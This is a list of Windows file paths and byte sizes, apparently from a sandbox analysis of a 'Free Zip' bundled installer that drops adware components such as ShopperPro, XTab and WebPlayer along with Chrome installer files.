%Program Files% (x86)\Free Zip\Lang\hu.txt (14 bytes)
%Program Files% (x86)\Free Zip\readme.txt (5 bytes)
%Program Files% (x86)\Free Zip\Lang\az.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\kk.txt (784 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Free Zip\Free Zip Help.lnk (1 bytes)
%Program Files% (x86)\Free Zip\Lang\mr.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\eo.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\tt.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFFB3.tmp (82231 bytes)
%Program Files% (x86)\Free Zip\Lang\de.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\et.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\es.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\ug.txt (784 bytes)
%Program Files% (x86)\Free Zip\7zG.exe (9320 bytes)
%Program Files% (x86)\Free Zip\Lang\be.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\id.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\nn.txt (11 bytes)
%Program Files% (x86)\Free Zip\Lang\pt-br.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\ar.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\pl.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\hr.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\ro.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\ms.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\en.ttt (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFFC3.tmp\modern-wizard.bmp (784 bytes)
%Program Files% (x86)\Free Zip\Lang\he.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\hi.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\tr.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\ja.txt (15 bytes)
%Program Files% (x86)\Free Zip\Lang\hy.txt (784 bytes)
%Program Files% (x86)\Free Zip\7zCon.sfx (6584 bytes)
%Program Files% (x86)\Free Zip\Lang\nb.txt (11 bytes)
%Program Files% (x86)\Free Zip\Lang\ko.txt (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFFC3.tmp\ioSpecial.ini (3889 bytes)
%Program Files% (x86)\Free Zip\Lang\gu.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\ba.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\bg.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\br.txt (10 bytes)
%Program Files% (x86)\Free Zip\7-zip.dll (3616 bytes)
%Program Files% (x86)\Free Zip\Lang\zh-cn.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\sv.txt (13 bytes)
%Program Files% (x86)\Free Zip\7-zip.chm (3312 bytes)
%Program Files% (x86)\Free Zip\Lang\vi.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\ast.txt (10 bytes)
%Program Files% (x86)\Free Zip\descript.ion (333 bytes)
%Program Files% (x86)\Free Zip\Lang\io.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\fi.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\ext.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\sq.txt (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MYZ0XW6GN1IWIF6LDUQG.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7VVFIG9U1NTYSG4RFJON.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4TC08Q4Q2RSBXR404U6X.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\UninstallManager.exe (59286 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\2[1].zip (45169 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\1.zip (46341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\lpd#4.3.0.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\conf (83 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\BaofengUpdate.exe (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\2.zip (18078 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\1[1].zip (208538 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\nsExec.dll (14 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\AccDownload.dll (11359 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\jsdrv.exe (100669 bytes)
%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (35246 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\System.dll (23 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (44462 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2636.tmp (344680 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\am.pak (792 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\en-US.pak (479 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\sl.pak (530 bytes)
%Program Files% (x86)\Google\Chrome\Application\35.0.1916.114\default_apps (4 bytes)
%Program Files% (x86)\Google\Chrome\Application\40.0.2214.94\Installer\setup.exe (22234 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\nacl_irt_x86_32.nexe (51 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\bg.pak (949 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\xinput1_3.dll (162 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\sr.pak (868 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\chrome.exe (1686 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\fi.pak (540 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ro.pak (585 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\pt-BR.pak (555 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\default_apps\external_extensions.json (5 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\VisualElementsManifest.xml (400 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\de.pak (496 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\40.0.2214.94.manifest (226 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\es.pak (586 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\zh-TW.pak (471 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ms.pak (432 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\ffmpegsumo.dll (50 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\VisualElements\smalllogo.png (21 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\bn.pak (1211 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\pt-PT.pak (568 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ca.pak (577 bytes)
%Program Files% (x86)\Google\Chrome\Application\35.0.1916.114\Locales (8 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\chrome_child.dll (32722 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\icudtl.dat (59 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ja.pak (693 bytes)
%Program Files% (x86)\Google\Chrome\Application\chrome.exe (17554 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\hr.pak (538 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\nacl_irt_x86_64.nexe (52 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\libglesv2.dll (50 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\nb.pak (521 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\hu.pak (604 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\libpeerconnection.dll (52 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\chrome.7z (270363 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\chrome_100_percent.pak (50 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\da.pak (521 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\it.pak (561 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\resources.pak (64 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\fil.pak (585 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\libexif.dll (621 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\d3dcompiler_46.dll (52 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\hi.pak (1175 bytes)
%Program Files% (x86)\Google\Chrome\Application\40.0.2214.94\Installer\chrmstp.exe (22234 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\kn.pak (1309 bytes)
C:\Windows\Temp\chrome_installer.log (7903 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\id.pak (520 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\uk.pak (897 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\VisualElements\logo.png (7 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\es-419.pak (572 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\pdf.dll (58 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\vi.pak (653 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\lt.pak (564 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\en-GB.pak (479 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\sv.pak (529 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\chrome.dll (30950 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\mr.pak (1159 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\cs.pak (572 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\he.pak (660 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\default_apps\youtube.crx (47 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\default_apps\search.crx (54 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\lv.pak (577 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ru.pak (892 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ml.pak (1503 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\default_apps\docs.crx (12 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\nl.pak (555 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\fr.pak (611 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\nacl64.exe (50 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ko.pak (580 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\delegate_execute.exe (50 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\widevinecdmadapter.dll (285 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\chrome_elf.dll (268 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\PepperFlash\manifest.json (6 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\default_apps\gmail.crx (48 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\zh-CN.pak (465 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\te.pak (1276 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\libegl.dll (423 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Extensions\external_extensions.json (103 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\tr.pak (570 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\VisualElements\splash-620x300.png (22 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\gu.pak (1137 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\wow_helper.exe (146 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ta.pak (1375 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\sk.pak (596 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\th.pak (1153 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\metro_driver.dll (1013 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ar.pak (766 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\default_apps\drive.crx (53 bytes)
%Program Files% (x86)\Google\Chrome\Application\35.0.1916.114\VisualElements (4 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\sw.pak (481 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\secondarytile.png (641 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\pl.pak (569 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\PepperFlash\pepflashplayer.dll (63 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\et.pak (504 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\chrome_200_percent.pak (50 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\fa.pak (817 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\el.pak (1040 bytes)
%Program Files% (x86)\XTab\conf (1498 bytes)
C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_YTAHelper.exe_dc1cb0a6c5fbb2d495014aa7f606d9b96363555_06b75b97\Report.wer (194476 bytes)
C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\database1_0_0.json (5 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\bullet[1] (447 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\http_403_webOC[1] (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\httpErrorPagesScripts[1] (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\down[1] (748 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\errorPageStrings[1] (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\info_48[1] (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\background_gradient[1] (453 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ErrorPageTemplate[1] (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\XTab_v4.0.exe (37230 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\XTab_4.0.2.1716[1].exe (231680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\manifest[1].xml (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1F93.tmp\setup1.exe (142075 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1F93.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1F93.tmp\setup.exe (1576265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1F93.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz1F82.tmp (150954 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (303840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\NSISEncrypt.dll (3430 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7747 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\System.dll (23 bytes)
%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
